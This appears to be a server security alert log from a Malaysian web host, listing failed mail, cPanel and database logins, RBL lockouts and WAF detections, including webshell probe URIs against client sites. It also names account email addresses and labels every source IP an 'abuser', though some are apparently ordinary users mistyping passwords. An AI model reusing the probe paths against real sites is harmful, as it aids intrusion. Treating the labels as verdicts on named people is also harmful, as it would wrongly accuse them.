name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.33
country_id: 3469034
description:
Jan 14 15:49:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.33 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.111.163.135
country_id: 3865483
description:
Jan 14 15:52:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.111.163.135 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.111.163.135
country_id: 3865483
description:
Jan 14 15:53:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.111.163.135 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.172.167.227
country_id: 1168579
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=212395 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 15:57:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62193: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 15:57:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62193: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.229.10.26
country_id: 3703430
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=68841515570687 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 16:01:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:37333: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 16:01:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:37333: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.205.210
country_id: 6251999
description:
2026-01-14 16:02:51 dovecot_plain authenticator failed for H=([10.16.18.248]) [37.120.205.210]:14528: 535 Incorrect authentication data (set_id=angiehng@manforce.net)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 44.220.185.35
country_id: 6252001
description:
Jan 14 16:02:58 sv3 pure-ftpd[2169394]: (?@44.220.185.35) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 16:03:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:13806: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.120.205.210
country_id: 6251999
description:
Jan 14 16:02:49 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.120.205.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.205.210
country_id: 6251999
description:
2026-01-14 16:03:17 dovecot_plain authenticator failed for H=([10.16.18.248]) [37.120.205.210]:3627: 535 Incorrect authentication data (set_id=angiehng@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 16:03:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:13807: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/demos/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.120.205.210
country_id: 6251999
description:
Jan 14 16:03:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.120.205.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 16:05:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56288: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.129.28
country_id: 99237
description:
Jan 14 16:06:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.129.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 16:05:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56288: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.129.28
country_id: 99237
description:
2026-01-14 16:06:10 dovecot_plain authenticator failed for H=(sures) [65.20.129.28]:45977: 535 Incorrect authentication data (set_id=laifun.lee@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.89.245.118
country_id: 617790
description:
2026-01-14 16:08:30 dovecot_login authenticator failed for H=([77.89.245.118]) [77.89.245.118]:48495: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.11.162.163
country_id: 298795
description:
Jan 14 16:08:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.11.162.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.162.163
country_id: 298795
description:
2026-01-14 16:08:32 dovecot_login authenticator failed for H=([5.11.162.163]) [5.11.162.163]:38348: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.173.39.103
country_id: 2017370
description:
2026-01-14 16:08:54 dovecot_login authenticator failed for H=broadband-109-173-39-103.ip.moscow.rt.ru [109.173.39.103]:45240: 535 Incorrect authentication data (set_id=lkwong.isc@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.89.245.118
country_id: 617790
description:
Jan 14 16:08:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.89.245.118 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.128.247.76
country_id: 690791
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/primary_school_english.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.48.70.210
country_id: 1210997
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/toefl_preparation.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.109.217.110
country_id: 783754
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/social_english_course.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.171.5.131
country_id: 1269750
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/cambridge_english.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.117.145.137
country_id: 3469034
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/ielts_preparation.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 16:15:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62210: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 16:15:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62211: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.129.28
country_id: 99237
description:
Jan 14 16:17:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.129.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.129.28
country_id: 99237
description:
2026-01-14 16:17:08 dovecot_plain authenticator failed for H=(hymbly) [65.20.129.28]:51579: 535 Incorrect authentication data (set_id=info@modern.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 139.135.44.221
country_id: 1168579
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/ready/402/628408 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.60
country_id: 6252001
description:
2026-01-14 16:21:34 46233 [Warning] Aborted connection 46233 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.60' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 16:21:42 H=([45.144.212.242]) [45.144.212.242]:59814 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <sales@wcc.com.my>: Rejected relay attempt: '45.144.212.242' From: 'kamal@sunnyseafoodtrade.com' To: 'sales@wcc.com.my'


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 16:29:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:37337: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 16:29:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:37337: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 16:31:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:14394: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 16:31:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:14396: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-14 16:32:21 H=([77.83.39.92]) [77.83.39.92]:53721 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <ind@indfinitydesign.com>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 16:33:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56509: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 16:33:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56509: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.253.193.137
country_id: 1512440
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/DocQ Rack/DocQ Rack-1A Rev2-120x120.JPG HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 38.224.194.231
country_id: 3469034
description:
2026-01-14 16:34:43 H=([38.224.194.231]) [38.224.194.231]:2385 F=<dse_NA4@docusign.net> rejected RCPT <azmansamsuri@ajplantations.com.my>: SPF: 38.224.194.231 is not allowed to send mail from docusign.net


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.246.117
country_id: 1562822
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/Unox.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.181.215.114
country_id: 2017370
domain: ahfengineering.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahfengineering.com/cgi-bin HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.135.252.238
country_id: 690791
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/uploads/2021/04/BRDB-09-269x300.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.35.176.16
country_id: 1210997
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?page_id=42 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 14 16:39:47 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.52.137.110
country_id: 1733045
description:
[2026-01-14 16:43:06 +0800] info [webmaild] 60.52.137.110 - hakim@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 16:45:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62291: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 16:44:15 H=([45.144.212.242]) [45.144.212.242]:61622 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <simon@wcc.com.my>: Rejected relay attempt: '45.144.212.242' From: 'kamal@sunnyseafoodtrade.com' To: 'simon@wcc.com.my'


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 14 16:44:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.95.200.163
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/wp-content/uploads/2021/04/VM2-1.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.190.233.254
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=73 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 16:45:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62292: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.124.149.254
country_id: 3469034
description:
[2026-01-14 16:45:43 +0800] info [whostmgrd] 189.124.149.254 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 66.240.236.116
country_id: 6252001
description:
2026-01-14 16:47:57 47471 [Warning] Aborted connection 47471 to db: 'unconnected' user: 'unauthenticated' host: '66.240.236.116' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 66.240.236.116
country_id: 6252001
description:
2026-01-14 16:48:10 47482 [Warning] Aborted connection 47482 to db: 'unconnected' user: 'unauthenticated' host: '66.240.236.116' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.112.113
country_id: 6252001
description:
Jan 14 16:49:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.112.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.112.113
country_id: 6252001
description:
2026-01-14 16:49:36 dovecot_login authenticator failed for H=(jvkiwi) [92.118.112.113]:64970: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 60.52.137.110
country_id: 1733045
description:
[2026-01-14 16:51:47 +0800] info [webmaild] 60.52.137.110 - hakim@pftfood.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.39.253.207
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/app/Http/Controllers/Admin/ServicesController.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 16:57:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:37345: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 16:57:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:37346: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 16:59:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:14413: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 16:59:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:14413: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 17:01:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56632: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 104.248.61.70
country_id: 6252001
description:
2026-01-14 17:01:29 48097 [Warning] Aborted connection 48097 to db: 'unconnected' user: 'unauthenticated' host: '104.248.61.70' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.219.224.23
country_id: 3469034
domain: ocned.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/ocned.com/nrw.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 17:01:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56632: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul type=\"disc\">\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">keyin payment journals (payment) 13/1/26</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">check &amp; print supplier invoice</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">keyin supplies invoice - purchase invoices in software</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">stapler payment voucher and bank slip</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">filing documents</li>\r\n</ul>||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.76.32
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-05.92.71.76.32||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.197.236.163
country_id: 6252001
description:
Jan 14 17:08:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.197.236.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.197.236.163
country_id: 6252001
description:
2026-01-14 17:08:37 dovecot_plain authenticator failed for H=c-73-197-236-163.hsd1.nj.comcast.net (glarling) [73.197.236.163]:51356: 535 Incorrect authentication data (set_id=sales@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.246.157.137
country_id: 3624060
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/Hamilton Beach.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.154.41
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/japanese/sangaku/img/index.php||SC:/home2/fkrcom/public_html/japanese||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 17:13:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62455: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 17:13:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62455: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.226.27.227
country_id: 294640
description:
Jan 14 17:13:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.226.27.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.226.27.227
country_id: 294640
description:
2026-01-14 17:13:37 dovecot_plain authenticator failed for H=(uness) [109.226.27.227]:39087: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.189.171.166
country_id: 1861060
description:
2026-01-14 17:13:54 dovecot_plain authenticator failed for H=softbank111189171166.bbtec.net (smtpclient.apple) [111.189.171.166]:39378: 535 Incorrect authentication data (set_id=iwata@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.107.36.18
country_id: 1269750
description:
Jan 14 17:15:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.107.36.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-14 17:15:27 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:56526: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.46.38.62
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=36011515550988 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-14 17:20:40 +0800] info [webmaild] 113.211.37.45 - chuan@tschuan.com "GET /cpsess1903874427/3rdparty/roundcube/?_task=mail&_mbox=INBOX.spam HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.104.42
country_id: 1269750
description:
Jan 14 17:21:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.104.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.104.42
country_id: 1269750
description:
2026-01-14 17:21:58 dovecot_login authenticator failed for H=([27.123.104.42]) [27.123.104.42]:47166: 535 Incorrect authentication data (set_id=salesmp@aoto.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.197.236.163
country_id: 6252001
description:
Jan 14 17:24:37 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.197.236.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.197.236.163
country_id: 6252001
description:
2026-01-14 17:24:39 dovecot_plain authenticator failed for H=c-73-197-236-163.hsd1.nj.comcast.net (midlerfed) [73.197.236.163]:37264: 535 Incorrect authentication data (set_id=meekee.ngu@tujusetia.my)


